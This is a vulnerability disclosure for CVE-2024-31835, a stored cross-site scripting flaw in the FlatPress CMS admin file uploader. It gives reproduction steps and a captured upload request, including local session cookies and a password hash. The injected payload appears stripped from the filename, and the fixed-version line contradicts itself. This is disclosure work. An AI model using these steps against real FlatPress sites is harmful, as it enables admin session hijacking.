CVE-2024-31835

Cross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a craftedpayload to the file name parameter.

Affected Component: FlatPress CMS Admin Panel File Upload Field

Fixed version: Flatpress v1.3 - will be fixed in FlatPress version 1.3.

Attack Type: Remote

Attack Vectors: Exploit Vulnerability by crafting the Image filename

Step to Reproduce:

1.login admin account and open below URL http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader&action=mediamanager 2.click on upload field upload any file you want click on upload and intercept request with burpsuite the request will look like below inject javascript payload with filename testtest

Request Example

POST /flatpress-1.2.1/admin.php?p=uploader&action=default HTTP/1.1
Host: 127.0.0.1
Content-Length: 1598
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHnyH0cX0ojRbqom
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/flatpress-1.2.1/admin.php?p=uploader
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: fpuser_fp-9b0a379a=parag; fppass_fp-9b0a379a=%242y%2410%24j.D1Ab.xVMoIDu9yQF8QjefOZmz9JPoh4QwzpoCdYxlqSkNQDGag2; fpsess_fp-9b0a379a=mg65h4rd8onvv2tniminpq635f
Connection: close

------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wpnonce"
60f24876be
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="_wp_http_referer"
/flatpress-1.2.1/admin.php?p=uploader
------WebKitFormBoundaryzHnyH0cX0ojRbqom
Content-Disposition: form-data; name="upload[]"; filename="test.phpuh9aeairjipc8brr"
Content-Type: application/x-php

TEst
------WebKitFormBoundaryzHnyH0cX0ojRbqom--

Reference:

https://portswigger.net/web-security/cross-site-scripting https://drive.google.com/file/d/1OthtP87MduNTYur_p0RZv3moY8CrBcaM/view

Vendor of Product: flatpress CMS

Confirmed on: 11/06/2023

Discoverer: Parag Bagul